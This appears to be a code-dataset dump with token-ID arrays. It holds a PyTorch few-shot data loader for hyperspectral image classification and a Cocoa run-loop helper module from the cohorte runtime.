22993, 13, 30004, 13, 1678, 11848, 29871, 353, 7442, 29889, 2083, 3552, 29898, 29909, 11877, 29940, 29918, 29873, 11877, 29984, 8443, 13, 1678, 3384, 29871, 353, 7442, 29889, 2083, 3552, 29909, 11877, 29940, 29918, 29873, 8443, 13, 30004, 13, 1678, 565, 11848, 1275, 29871, 29900, 322, 3384, 1275, 29871, 29900, 29901, 30004, 13, 4706, 1121, 353, 448, 29896, 396, 451, 2221, 304, 10272, 274, 29899, 2248, 29991, 30004, 13, 1678, 1683, 29901, 30004, 13, 4706, 1121, 353, 5785, 29898, 8009, 29914, 29315, 8443, 13, 30004, 13, 1678, 736, 1121, 30004, 13, 30004, 13, 30004, 13, 29937, 445, 3633, 363, 278, 7688, 287, 6588, 363, 443, 29890, 1759, 287, 23248, 30004, 13, 1753, 7688, 287, 29918, 29890, 4336, 29918, 13628, 29898, 29911, 29918, 14968, 29892, 612, 29918, 14968, 29892, 21099, 2463, 29892, 323, 29918, 1688, 29892, 612, 29918, 1688, 29892, 5974, 1125, 30004, 13, 1678, 402, 353, 315, 6073, 292, 1184, 29890, 29898, 29979, 29918, 14968, 29892, 323, 29918, 14968, 8443, 13, 1678, 405, 353, 7431, 29898, 23084, 2463, 8443, 13, 30004, 13, 1678, 399, 353, 7442, 29889, 3298, 359, 29898, 2435, 29898, 29979, 29918, 1688, 876, 30004, 13, 1678, 612, 29918, 5891, 353, 313, 29911, 29918, 1688, 1405, 5974, 467, 579, 668, 29898, 7411, 8443, 13, 30004, 13, 1678, 363, 474, 297, 3464, 29898, 29940, 1125, 30004, 13, 4706, 13128, 29918, 13140, 29896, 353, 7442, 29889, 3062, 29898, 29954, 29961, 29900, 29892, 17531, 6736, 323, 29918, 1688, 29961, 29875, 2314, 29961, 29900, 29962, 30004, 13, 4706, 13128, 29918, 13140, 29906, 353, 7442, 29889, 3062, 29898, 29954, 29961, 29900, 29892, 17531, 6736, 5974, 9601, 29900, 29962, 30004, 13, 30004, 13, 4706, 565, 7431, 29898, 7050, 29918, 13140, 29896, 29897, 1275, 29871, 29900, 29901, 30004, 13, 9651, 402, 29896, 353, 402, 29961, 29896, 29892, 448, 29896, 29962, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 402, 29896, 353, 402, 29961, 29896, 29892, 13128, 29918, 13140, 29896, 29961, 29900, 5262, 30004, 13, 30004, 13, 4706, 565, 7431, 29898, 7050, 29918, 13140, 29906, 29897, 1275, 29871, 29900, 29901, 30004, 13, 9651, 402, 29906, 353, 402, 29961, 29896, 29892, 448, 29896, 29962, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 402, 29906, 353, 402, 29961, 29896, 29892, 13128, 29918, 13140, 29906, 29961, 29900, 5262, 30004, 13, 4706, 399, 29961, 29875, 29962, 353, 313, 29896, 29889, 448, 612, 29918, 5891, 29961, 29875, 2314, 29930, 7411, 29898, 29979, 29918, 1688, 29961, 29875, 2314, 29914, 29954, 29896, 718, 612, 29918, 5891, 29961, 29875, 16261, 29954, 29906, 30004, 13, 30004, 13, 1678, 343, 29918, 3009, 353, 5135, 29911, 29918, 1688, 5277, 5974, 29897, 334, 612, 29918, 1688, 467, 579, 668, 29898, 7411, 8443, 13, 30004, 13, 1678, 736, 7442, 29889, 12676, 29898, 29956, 16395, 29979, 29918, 5891, 448, 313, 29896, 9229, 23084, 2463, 876, 1068, 29906, 29897, 2 ]
utils/read_data.py
ynztwlz/HSI_FewShot
1
1617424
import torch from torch.utils.data import DataLoader,Dataset import random import numpy as np from torch.utils.data.sampler import Sampler #从数据集中选取support_set 和query_set class get_SQ_set(object): def __init__(self, data_classes, number_class, support_sample_num, query_sample_num): self.data_classes = data_classes self.num_class = number_class self.support_shot_num = support_sample_num self.query_shot_num = query_sample_num classes_name = [i for i in self.data_classes.keys()] np.random.shuffle(classes_name) epoch_classes = classes_name[:self.num_class] labels = np.array(range(len(epoch_classes)))#将随机选取的类重新定义为(1-class_number) labels = dict(zip(epoch_classes, labels))#将类的名称和标记按照字典格式一一对应 temp = dict() self.support_data = [] self.query_data = [] self.support_labels=[] self.query_labels=[] for c in epoch_classes: temp[c] = random.sample(list(data_classes[c]), len(data_classes[c]))[0:200] self.support_data.extend(temp[c][:self.support_shot_num]) self.support_labels.extend( [labels[c] for i in range(self.support_shot_num)]) # 将标记根据字典转化成【0,1,2,3...】用于后面的one-hot编码 self.query_data.extend(temp[c][self.support_shot_num: self.support_shot_num + self.query_shot_num]) self.query_labels.extend([labels[c] for i in range(self.query_shot_num)]) class FewShotDataset(Dataset): def __init__(self, task, split='support'): self.task = task self.split = split self.data_roots = self.task.support_data if self.split == 'support' else self.task.query_data self.labels = self.task.support_labels if self.split == 'support' else self.task.query_labels def __len__(self): return len(self.image_roots) def __getitem__(self, idx): raise NotImplementedError("This is an abstract class. Subclass this class for your particular dataset.") class Hsi_Dataset(FewShotDataset): def __init__(self, *args, **kwargs): super(Hsi_Dataset, self).__init__(*args, **kwargs) def __getitem__(self, idx): data = self.data_roots[idx] label = self.labels[idx] return data, label #进行类的平衡 class ClassBalancedSampler(Sampler): ''' Samples 'num_inst' examples each from 'num_cl' pools of examples of size 'num_per_class' ''' def __init__(self, num_per_class, num_cl, num_inst,shuffle=False): self.num_per_class = num_per_class self.num_cl = num_cl self.num_inst = num_inst self.shuffle = shuffle def __iter__(self): # return a single list of indices, assuming that items will be grouped by class if self.shuffle: batch = [[i+j*self.num_inst for i in torch.randperm(self.num_inst)[:self.num_per_class]] for j in range(self.num_cl)] else: batch = [[i+j*self.num_inst for i in range(self.num_inst)[:self.num_per_class]] for j in range(self.num_cl)] batch = [item for sublist in batch for item in sublist] if self.shuffle: random.shuffle(batch) return iter(batch) def __len__(self): return 1 #获取dataset和dataloader def get_data_loader(task, Number_way,num_per_class=1, split='train',shuffle=False): dataset = Hsi_Dataset(task,split=split) if split == 'support':#ClassBalancedSampler 数据平衡选择器 sampler = ClassBalancedSampler(num_per_class, Number_way, task.support_shot_num,shuffle=shuffle) else: sampler = ClassBalancedSampler(num_per_class, Number_way, task.query_shot_num,shuffle=shuffle) loader = DataLoader(dataset, batch_size=num_per_class*Number_way, sampler=sampler) return loader
[ 1, 1053, 4842, 305, 30004, 13, 3166, 4842, 305, 29889, 13239, 29889, 1272, 1053, 3630, 10036, 29892, 16390, 24541, 30004, 13, 5215, 4036, 30004, 13, 5215, 12655, 408, 7442, 30004, 13, 3166, 4842, 305, 29889, 13239, 29889, 1272, 29889, 13445, 20069, 1053, 3685, 20069, 30004, 13, 30004, 13, 29937, 31594, 30354, 30763, 30893, 30275, 31333, 30683, 5924, 29918, 842, 29871, 30503, 1972, 29918, 842, 30004, 13, 1990, 679, 29918, 29903, 29984, 29918, 842, 29898, 3318, 1125, 30004, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 848, 29918, 13203, 29892, 1353, 29918, 1990, 29892, 2304, 29918, 11249, 29918, 1949, 29892, 2346, 29918, 11249, 29918, 1949, 1125, 30004, 13, 4706, 1583, 29889, 1272, 29918, 13203, 353, 848, 29918, 13203, 30004, 13, 4706, 1583, 29889, 1949, 29918, 1990, 353, 1353, 29918, 1990, 30004, 13, 4706, 1583, 29889, 5924, 29918, 8962, 29918, 1949, 353, 2304, 29918, 11249, 29918, 1949, 30004, 13, 4706, 1583, 29889, 1972, 29918, 8962, 29918, 1949, 353, 2346, 29918, 11249, 29918, 1949, 30004, 13, 30004, 13, 4706, 4413, 29918, 978, 353, 518, 29875, 363, 474, 297, 1583, 29889, 1272, 29918, 13203, 29889, 8149, 580, 29962, 30004, 13, 4706, 7442, 29889, 8172, 29889, 845, 21897, 29898, 13203, 29918, 978, 8443, 13, 4706, 21502, 305, 29918, 13203, 353, 4413, 29918, 978, 7503, 1311, 29889, 1949, 29918, 1990, 29962, 30004, 13, 30004, 13, 4706, 11073, 353, 7442, 29889, 2378, 29898, 3881, 29898, 2435, 29898, 1022, 2878, 29918, 13203, 4961, 29937, 30998, 236, 157, 146, 31429, 31333, 30683, 30210, 30832, 30908, 30374, 30495, 31349, 30573, 30419, 29896, 29899, 1990, 29918, 4537, 30409, 30004, 13, 4706, 11073, 353, 9657, 29898, 7554, 29898, 1022, 2878, 29918, 13203, 29892, 11073, 876, 29937, 30998, 30832, 30210, 30548, 31685, 30503, 31062, 31410, 31590, 234, 136, 170, 30578, 31259, 31168, 30607, 30287, 30287, 30783, 31370, 30004, 13, 4706, 5694, 353, 9657, 26471, 13, 4706, 1583, 29889, 5924, 29918, 1272, 353, 5159, 30004, 13, 4706, 1583, 29889, 1972, 29918, 1272, 353, 5159, 30004, 13, 4706, 1583, 29889, 5924, 29918, 21134, 29922, 2636, 30004, 13, 4706, 1583, 29889, 1972, 29918, 21134, 29922, 2636, 30004, 13, 30004, 13, 4706, 363, 274, 297, 21502, 305, 29918, 13203, 29901, 30004, 13, 9651, 5694, 29961, 29883, 29962, 353, 4036, 29889, 11249, 29898, 1761, 29898, 1272, 29918, 13203, 29961, 29883, 11724, 7431, 29898, 1272, 29918, 13203, 29961, 29883, 12622, 29961, 29900, 29901, 29906, 29900, 29900, 29962, 30004, 13, 9651, 1583, 29889, 5924, 29918, 1272, 29889, 21843, 29898, 7382, 29961, 29883, 3816, 29901, 1311, 29889, 5924, 29918, 8962, 29918, 1949, 2314, 30004, 13, 9651, 1583, 29889, 5924, 29918, 21134, 29889, 21843, 29898, 30004, 13, 18884, 518, 21134, 29961, 29883, 29962, 363, 474, 297, 3464, 29898, 1311, 29889, 5924, 29918, 8962, 29918, 1949, 29897, 2314, 29871, 396, 29871, 30998, 31062, 31410, 31393, 30763, 30578, 31259, 31415, 30705, 30494, 31478, 29900, 29892, 29896, 29892, 29906, 29892, 29941, 856, 31472, 30406, 30909, 30822, 30806, 30210, 650, 29899, 8711, 31795, 31183, 30004, 13, 9651, 1583, 29889, 1972, 29918, 1272, 29889, 21843, 29898, 7382, 29961, 29883, 3816, 1311, 29889, 5924, 29918, 8962, 29918, 1949, 29901, 1583, 29889, 5924, 29918, 8962, 29918, 1949, 718, 1583, 29889, 1972, 29918, 8962, 29918, 1949, 2314, 30004, 13, 9651, 1583, 29889, 1972, 29918, 21134, 29889, 21843, 4197, 21134, 29961, 29883, 29962, 363, 474, 297, 3464, 29898, 1311, 29889, 1972, 29918, 8962, 29918, 1949, 29897, 2314, 30004, 13, 30004, 13, 1990, 383, 809, 2713, 327, 16390, 24541, 29898, 16390, 24541, 1125, 30004, 13, 30004, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3414, 29892, 6219, 2433, 5924, 29374, 30004, 13, 4706, 1583, 29889, 7662, 353, 3414, 30004, 13, 4706, 1583, 29889, 5451, 353, 6219, 30004, 13, 4706, 1583, 29889, 1272, 29918, 307, 1862, 353, 1583, 29889, 7662, 29889, 5924, 29918, 1272, 565, 1583, 29889, 5451, 1275, 525, 5924, 29915, 1683, 1583, 29889, 7662, 29889, 1972, 29918, 1272, 30004, 13, 4706, 1583, 29889, 21134, 353, 1583, 29889, 7662, 29889, 5924, 29918, 21134, 565, 1583, 29889, 5451, 1275, 525, 5924, 29915, 1683, 1583, 29889, 7662, 29889, 1972, 29918, 21134, 30004, 13, 30004, 13, 1678, 822, 4770, 2435, 12035, 1311, 1125, 30004, 13, 4706, 736, 7431, 29898, 1311, 29889, 3027, 29918, 307, 1862, 8443, 13, 30004, 13, 1678, 822, 4770, 657, 667, 12035, 1311, 29892, 22645, 1125, 30004, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 703, 4013, 338, 385, 9846, 770, 29889, 3323, 1990, 445, 770, 363, 596, 3153, 8783, 23157, 30004, 13, 30004, 13, 1990, 379, 1039, 29918, 16390, 24541, 29898, 29943, 809, 2713, 327, 16390, 24541, 1125, 30004, 13, 30004, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 30004, 13, 4706, 2428, 29898, 29950, 1039, 29918, 16390, 24541, 29892, 1583, 467, 1649, 2344, 1649, 10456, 5085, 29892, 3579, 19290, 8443, 13, 30004, 13, 1678, 822, 4770, 657, 667, 12035, 1311, 29892, 22645, 1125, 30004, 13, 4706, 848, 353, 1583, 29889, 1272, 29918, 307, 1862, 29961, 13140, 29962, 30004, 13, 4706, 3858, 353, 1583, 29889, 21134, 29961, 13140, 29962, 30004, 13, 30004, 13, 4706, 736, 848, 29892, 3858, 30004, 13, 30004, 13, 29937, 31174, 30448, 30832, 30210, 30606, 235, 164, 164, 30004, 13, 1990, 4134, 22031, 8362, 22966, 20069, 29898, 22966, 20069, 1125, 30004, 13, 1678, 14550, 3685, 2701, 525, 1949, 29918, 2611, 29915, 6455, 1269, 515, 525, 1949, 29918, 695, 29915, 772, 3775, 30004, 13, 4706, 310, 6455, 310, 2159, 525, 1949, 29918, 546, 29918, 1990, 29915, 14550, 30004, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 954, 29918, 546, 29918, 1990, 29892, 954, 29918, 695, 29892, 954, 29918, 2611, 29892, 845, 21897, 29922, 8824, 1125, 30004, 13, 4706, 1583, 29889, 1949, 29918, 546, 29918, 1990, 353, 954, 29918, 546, 29918, 1990, 30004, 13, 4706, 1583, 29889, 1949, 29918, 695, 353, 954, 29918, 695, 30004, 13, 4706, 1583, 29889, 1949, 29918, 2611, 353, 954, 29918, 2611, 30004, 13, 4706, 1583, 29889, 845, 21897, 353, 528, 21897, 30004, 13, 30004, 13, 1678, 822, 4770, 1524, 12035, 1311, 1125, 30004, 13, 4706, 396, 736, 263, 2323, 1051, 310, 16285, 29892, 10241, 393, 4452, 674, 367, 27831, 491, 770, 30004, 13, 4706, 565, 1583, 29889, 845, 21897, 29901, 30004, 13, 9651, 9853, 353, 5519, 29875, 29974, 29926, 29930, 1311, 29889, 1949, 29918, 2611, 363, 474, 297, 4842, 305, 29889, 9502, 17858, 29898, 1311, 29889, 1949, 29918, 2611, 29897, 7503, 1311, 29889, 1949, 29918, 546, 29918, 1990, 5262, 363, 432, 297, 3464, 29898, 1311, 29889, 1949, 29918, 695, 4638, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 9853, 353, 5519, 29875, 29974, 29926, 29930, 1311, 29889, 1949, 29918, 2611, 363, 474, 297, 3464, 29898, 1311, 29889, 1949, 29918, 2611, 29897, 7503, 1311, 29889, 1949, 29918, 546, 29918, 1990, 5262, 363, 432, 297, 3464, 29898, 1311, 29889, 1949, 29918, 695, 4638, 30004, 13, 4706, 9853, 353, 518, 667, 363, 1014, 1761, 297, 9853, 363, 2944, 297, 1014, 1761, 29962, 30004, 13, 30004, 13, 4706, 565, 1583, 29889, 845, 21897, 29901, 30004, 13, 9651, 4036, 29889, 845, 21897, 29898, 16175, 8443, 13, 4706, 736, 4256, 29898, 16175, 8443, 13, 30004, 13, 1678, 822, 4770, 2435, 12035, 1311, 1125, 30004, 13, 4706, 736, 29871, 29896, 30004, 13, 30004, 13, 29937, 31024, 30683, 24713, 30503, 29881, 2075, 29877, 1664, 30004, 13, 1753, 679, 29918, 1272, 29918, 12657, 29898, 7662, 29892, 9681, 29918, 1582, 29892, 1949, 29918, 546, 29918, 1990, 29922, 29896, 29892, 6219, 2433, 14968, 742, 845, 21897, 29922, 8824, 1125, 30004, 13, 30004, 13, 1678, 8783, 353, 379, 1039, 29918, 16390, 24541, 29898, 7662, 29892, 5451, 29922, 5451, 8443, 13, 30004, 13, 1678, 565, 6219, 1275, 525, 5924, 2396, 29937, 2385, 22031, 8362, 22966, 20069, 29871, 30354, 30763, 30606, 235, 164, 164, 31333, 233, 142, 172, 30943, 30004, 13, 4706, 3514, 20069, 353, 4134, 22031, 8362, 22966, 20069, 29898, 1949, 29918, 546, 29918, 1990, 29892, 9681, 29918, 1582, 29892, 3414, 29889, 5924, 29918, 8962, 29918, 1949, 29892, 845, 21897, 29922, 845, 21897, 8443, 13, 1678, 1683, 29901, 30004, 13, 4706, 3514, 20069, 353, 4134, 22031, 8362, 22966, 20069, 29898, 1949, 29918, 546, 29918, 1990, 29892, 9681, 29918, 1582, 29892, 3414, 29889, 1972, 29918, 8962, 29918, 1949, 29892, 845, 21897, 29922, 845, 21897, 8443, 13, 1678, 23466, 353, 3630, 10036, 29898, 24713, 29892, 9853, 29918, 2311, 29922, 1949, 29918, 546, 29918, 1990, 29930, 4557, 29918, 1582, 29892, 3514, 20069, 29922, 13445, 20069, 8443, 13, 30004, 13, 1678, 736, 23466, 2 ]
python/cohorte/boot/looper/AppHelper.py
isandlaTech/cohorte-runtime
6
171306
""" Original code from PyObjC-Cocoa See: https://bitbucket.org/ronaldoussoren/pyobjc/ AppKit helpers. Exported functions: * runEventLoop - run NSApplicationMain in a safer way * stopEventLoop - stops the event loop or terminates the application * callAfter - call a function on the main thread (async) """ # Use cocoa-python instead of PyObjC import logging import sys import traceback from cohorte.cocoapy import ObjCClass, ObjCSubclass, ObjCInstance, \ send_super, PyObjectEncoding # ------------------------------------------------------------------------------ __all__ = ('runEventLoop', 'stopEventLoop', 'callAfter') _logger = logging.getLogger(__name__) # Load Cocoa classes # pylint: disable=C0103 NSApplication = ObjCClass('NSApplication') NSRunAlertPanel = ObjCClass('NSRunAlertPanel') NSApplicationMain = ObjCClass('NSApplicationMain') NSApplicationDidFinishLaunchingNotification = \ ObjCClass('NSApplicationDidFinishLaunchingNotification') NSObject = ObjCClass('NSObject') NSRunLoop = ObjCClass('NSRunLoop') NSTimer = ObjCClass('NSTimer') NSDefaultRunLoopMode = ObjCClass('NSDefaultRunLoopMode') NSNotificationCenter = ObjCClass('NSNotificationCenter') NSLog = ObjCClass('NSLog') NSAutoreleasePool = ObjCClass('NSAutoreleasePool') # ------------------------------------------------------------------------------ def NSApp(): """ Defines a method equivalent to the NSApp() call from PyObjC :return: The application instance """ return NSApplication.sharedApplication() # ------------------------------------------------------------------------------ class PyObjCAppHelperCaller_Implementation(object): """ Implementation of the call of methods in the main-thread """ PyObjCAppHelperCaller = ObjCSubclass('NSObject', 'PyObjCAppHelperCaller') def initWithArgs_(self, args): """ Sets up the Objective-C subclass """ new_self = ObjCInstance(send_super(self, 'init')) new_self.args = args return new_self @PyObjCAppHelperCaller.method(b'v' + PyObjectEncoding) def callAfter_(self, sender): """ Waits for a call to be done """ self.performSelectorOnMainThread_withObject_waitUntilDone_( self.call_, self.args, False) @staticmethod def call_(func_args_kwargs): """ Where the method call really happens """ (func, args, kwargs) = func_args_kwargs func(*args, **kwargs) PyObjCAppHelperCaller = ObjCClass('PyObjCAppHelperCaller') def callAfter(func, *args, **kwargs): """ Call the given function on the main thread (async) """ pool = NSAutoreleasePool.alloc().init() obj = PyObjCAppHelperCaller.alloc().initWithArgs_((func, args, kwargs)) obj.callAfter_(None) del obj del pool # ------------------------------------------------------------------------------ class PyObjCAppHelperRunLoopStopper(object): """ A helper method to handle multiple run loops and their stopper. """ singletons = {} def __init__(self): self.shouldStop = False @classmethod def currentRunLoopStopper(cls): """ Returns the stopper of the current loop stopper """ run_loop = NSRunLoop.currentRunLoop() return cls.singletons.get(run_loop) def shouldRun(self): """ Checks if the event loop should continue """ return not self.shouldStop @classmethod def addRunLoopStopper_toRunLoop_(cls, run_loop_stopper, run_loop): """ Adds a loop stopper """ if run_loop in cls.singletons: raise ValueError("Stopper already registered for this runLoop") cls.singletons[run_loop] = run_loop_stopper @classmethod def removeRunLoopStopperFromRunLoop_(cls, run_loop): """ Removes the stopper of the given loop """ if run_loop not in cls.singletons: raise ValueError("Stopper not registered for this runLoop") del cls.singletons[run_loop] def stop(self): """ Stops the event loop and terminates the application """ self.shouldStop = True # this should go away when/if runEventLoop uses # runLoop iteration if NSApp() is not None: NSApp().terminate_(self) def stopEventLoop(): """ Stop the current event loop if possible returns True if it expects that it was successful, False otherwise """ stopper = PyObjCAppHelperRunLoopStopper.currentRunLoopStopper() if stopper is None: if NSApp() is not None: NSApp().terminate_(None) return True return False NSTimer.scheduledTimerWithTimeInterval_target_selector_userInfo_repeats_( 0.0, stopper, 'performStop:', None, False) return True # ------------------------------------------------------------------------------ def unexpectedErrorAlertPanel(): """ Request the user to continue or quit the application (untested) """ ex_info = traceback.format_exception_only(*sys.exc_info()[:2])[0].strip() return NSRunAlertPanel( "An unexpected error has occurred %@", "Continue", "Quit", None, "({0})".format(ex_info)) RAISETHESE = (SystemExit, MemoryError, KeyboardInterrupt) def runEventLoop(argv=None, unexpected_error_alert=None, main=NSApplicationMain): """ Run the event loop, ask the user if we should continue if an exception is caught. Use this function instead of NSApplicationMain(). :param argv: Application arguments :param unexpected_error_alert: Method to call in case of unexpected error :param main: Main application class """ if argv is None: argv = sys.argv if unexpected_error_alert is None: unexpected_error_alert = unexpectedErrorAlertPanel run_loop = NSRunLoop.currentRunLoop() stopper = PyObjCAppHelperRunLoopStopper() PyObjCAppHelperRunLoopStopper.addRunLoopStopper_toRunLoop_( stopper, run_loop) first_run = NSApp() is None try: while stopper.shouldRun(): try: if first_run: first_run = False main(argv) else: NSApp().run() except RAISETHESE as ex: _logger.exception("Special handling of %s: %s", type(ex).__name__, ex) break except Exception as ex: _logger.exception("An unexpected exception occurred: %s", ex) if not unexpected_error_alert(): sys.exit(0) else: break finally: PyObjCAppHelperRunLoopStopper.removeRunLoopStopperFromRunLoop_( run_loop)
[ 1, 9995, 13, 26036, 775, 515, 10772, 9930, 29907, 29899, 29907, 22531, 13, 13393, 29901, 2045, 597, 2966, 21454, 29889, 990, 29914, 1617, 2741, 21167, 8085, 29914, 2272, 5415, 29883, 29914, 13, 13, 2052, 13117, 1371, 414, 29889, 13, 13, 26382, 287, 3168, 29901, 13, 29930, 1065, 2624, 18405, 448, 1065, 3865, 4873, 6330, 297, 263, 872, 571, 982, 13, 29930, 5040, 2624, 18405, 448, 17726, 278, 1741, 2425, 470, 6624, 1078, 278, 2280, 13, 29930, 1246, 13555, 448, 1246, 263, 740, 373, 278, 1667, 3244, 313, 12674, 29897, 13, 15945, 29908, 13, 13, 29937, 4803, 274, 22531, 29899, 4691, 2012, 310, 10772, 9930, 29907, 13, 5215, 12183, 13, 5215, 10876, 13, 5215, 9637, 1627, 13, 13, 3166, 16165, 10069, 29889, 29883, 6235, 27580, 1053, 4250, 29926, 29907, 2385, 29892, 4250, 29926, 29907, 4035, 1990, 29892, 4250, 29926, 29907, 4998, 29892, 320, 13, 1678, 3638, 29918, 9136, 29892, 10772, 2061, 14934, 13, 13, 29937, 448, 2683, 2683, 2683, 2683, 9072, 29899, 13, 13, 1649, 497, 1649, 353, 6702, 3389, 2624, 18405, 742, 525, 9847, 2624, 18405, 742, 525, 4804, 13555, 1495, 13, 13, 29918, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 29937, 16012, 315, 22531, 4413, 13, 29937, 282, 2904, 524, 29901, 11262, 29922, 29907, 29900, 29896, 29900, 29941, 13, 3059, 4873, 353, 4250, 29926, 29907, 2385, 877, 3059, 4873, 1495, 13, 3059, 6558, 16649, 7490, 353, 4250, 29926, 29907, 2385, 877, 3059, 6558, 16649, 7490, 1495, 13, 3059, 4873, 6330, 353, 4250, 29926, 29907, 2385, 877, 3059, 4873, 6330, 1495, 13, 3059, 4873, 9260, 12881, 728, 17641, 292, 12958, 353, 320, 13, 1678, 4250, 29926, 29907, 2385, 877, 3059, 4873, 9260, 12881, 728, 17641, 292, 12958, 1495, 13, 13, 3059, 2061, 353, 4250, 29926, 29907, 2385, 877, 3059, 2061, 1495, 13, 3059, 6558, 18405, 353, 4250, 29926, 29907, 2385, 877, 3059, 6558, 18405, 1495, 13, 29940, 1254, 4193, 353, 4250, 29926, 29907, 2385, 877, 29940, 1254, 4193, 1495, 13, 3059, 4592, 6558, 18405, 6818, 353, 4250, 29926, 29907, 2385, 877, 3059, 4592, 6558, 18405, 6818, 1495, 13, 3059, 12958, 13409, 353, 4250, 29926, 29907, 2385, 877, 3059, 12958, 13409, 1495, 13, 3059, 3403, 353, 4250, 29926, 29907, 2385, 877, 3059, 3403, 1495, 13, 3059, 6147, 487, 1511, 11426, 353, 4250, 29926, 29907, 2385, 877, 3059, 6147, 487, 1511, 11426, 1495, 13, 13, 29937, 448, 2683, 2683, 2683, 2683, 9072, 29899, 13, 13, 13, 1753, 3865, 2052, 7295, 13, 1678, 9995, 13, 1678, 5282, 1475, 263, 1158, 7126, 304, 278, 3865, 2052, 580, 1246, 515, 10772, 9930, 29907, 13, 13, 1678, 584, 2457, 29901, 450, 2280, 2777, 13, 1678, 9995, 13, 1678, 736, 3865, 4873, 29889, 12366, 4873, 580, 13, 13, 29937, 448, 2683, 2683, 2683, 2683, 9072, 29899, 13, 13, 13, 1990, 10772, 9930, 29907, 2052, 10739, 5594, 261, 29918, 1888, 14607, 29898, 3318, 1125, 13, 1678, 9995, 13, 1678, 1954, 14607, 310, 278, 1246, 310, 3519, 297, 278, 1667, 29899, 7097, 13, 1678, 9995, 13, 1678, 10772, 9930, 29907, 2052, 10739, 5594, 261, 353, 4250, 29926, 29907, 4035, 1990, 877, 3059, 2061, 742, 525, 19737, 9930, 29907, 2052, 10739, 5594, 261, 1495, 13, 13, 1678, 822, 18705, 7883, 23538, 1311, 29892, 6389, 1125, 13, 4706, 9995, 13, 4706, 317, 1691, 701, 278, 4669, 573, 29899, 29907, 19481, 13, 4706, 9995, 13, 4706, 716, 29918, 1311, 353, 4250, 29926, 29907, 4998, 29898, 6717, 29918, 9136, 29898, 1311, 29892, 525, 2344, 8785, 13, 4706, 716, 29918, 1311, 29889, 5085, 353, 6389, 13, 4706, 736, 716, 29918, 1311, 13, 13, 1678, 732, 19737, 9930, 29907, 2052, 10739, 5594, 261, 29889, 5696, 29898, 29890, 29915, 29894, 29915, 718, 10772, 2061, 14934, 29897, 13, 1678, 822, 1246, 13555, 23538, 1311, 29892, 10004, 1125, 13, 4706, 9995, 13, 4706, 22552, 1169, 363, 263, 1246, 304, 367, 2309, 13, 4706, 9995, 13, 4706, 1583, 29889, 19826, 10378, 2951, 6330, 4899, 29918, 2541, 2061, 29918, 10685, 29965, 20233, 25632, 23538, 13, 9651, 1583, 29889, 4804, 3383, 1583, 29889, 5085, 29892, 7700, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1246, 23538, 9891, 29918, 5085, 29918, 19290, 1125, 13, 4706, 9995, 13, 4706, 6804, 278, 1158, 1246, 2289, 5930, 13, 4706, 9995, 13, 4706, 313, 9891, 29892, 6389, 29892, 9049, 5085, 29897, 353, 3653, 29918, 5085, 29918, 19290, 13, 4706, 3653, 10456, 5085, 29892, 3579, 19290, 29897, 13, 13, 19737, 9930, 29907, 2052, 10739, 5594, 261, 353, 4250, 29926, 29907, 2385, 877, 19737, 9930, 29907, 2052, 10739, 5594, 261, 1495, 13, 13, 13, 1753, 1246, 13555, 29898, 9891, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 1678, 9995, 13, 1678, 8251, 278, 2183, 740, 373, 278, 1667, 3244, 313, 12674, 29897, 13, 1678, 9995, 13, 1678, 11565, 353, 3865, 6147, 487, 1511, 11426, 29889, 15956, 2141, 2344, 580, 13, 1678, 5446, 353, 10772, 9930, 29907, 2052, 10739, 5594, 261, 29889, 15956, 2141, 2344, 3047, 7883, 29918, 3552, 9891, 29892, 6389, 29892, 9049, 5085, 876, 13, 1678, 5446, 29889, 4804, 13555, 23538, 8516, 29897, 13, 1678, 628, 5446, 13, 1678, 628, 11565, 13, 13, 29937, 448, 2683, 2683, 2683, 2683, 9072, 29899, 13, 13, 13, 1990, 10772, 9930, 29907, 2052, 10739, 6558, 18405, 20754, 2496, 29898, 3318, 1125, 13, 1678, 9995, 13, 1678, 319, 16876, 1158, 304, 4386, 2999, 1065, 12104, 322, 1009, 6258, 2496, 29889, 13, 1678, 9995, 13, 1678, 1809, 1026, 787, 353, 6571, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 9344, 16329, 353, 7700, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 1857, 6558, 18405, 20754, 2496, 29898, 25932, 1125, 13, 4706, 9995, 13, 4706, 16969, 278, 6258, 2496, 310, 278, 1857, 2425, 6258, 2496, 13, 4706, 9995, 13, 4706, 1065, 29918, 7888, 353, 3865, 6558, 18405, 29889, 3784, 6558, 18405, 580, 13, 4706, 736, 1067, 29879, 29889, 2976, 1026, 787, 29889, 657, 29898, 3389, 29918, 7888, 29897, 13, 13, 1678, 822, 881, 6558, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 5399, 29879, 565, 278, 1741, 2425, 881, 6773, 13, 4706, 9995, 13, 4706, 736, 451, 1583, 29889, 9344, 16329, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 788, 6558, 18405, 20754, 2496, 29918, 517, 6558, 18405, 23538, 25932, 29892, 1065, 29918, 7888, 29918, 7864, 2496, 29892, 1065, 29918, 7888, 1125, 13, 4706, 9995, 13, 4706, 3462, 29879, 263, 2425, 6258, 2496, 13, 4706, 9995, 13, 4706, 565, 1065, 29918, 7888, 297, 1067, 29879, 29889, 2976, 1026, 787, 29901, 13, 9651, 12020, 7865, 2392, 703, 20754, 2496, 2307, 15443, 363, 445, 1065, 18405, 1159, 13, 4706, 1067, 29879, 29889, 2976, 1026, 787, 29961, 3389, 29918, 7888, 29962, 353, 1065, 29918, 7888, 29918, 7864, 2496, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 3349, 6558, 18405, 20754, 2496, 4591, 6558, 18405, 23538, 25932, 29892, 1065, 29918, 7888, 1125, 13, 4706, 9995, 13, 4706, 5240, 586, 267, 278, 6258, 2496, 310, 278, 2183, 2425, 13, 4706, 9995, 13, 4706, 565, 1065, 29918, 7888, 451, 297, 1067, 29879, 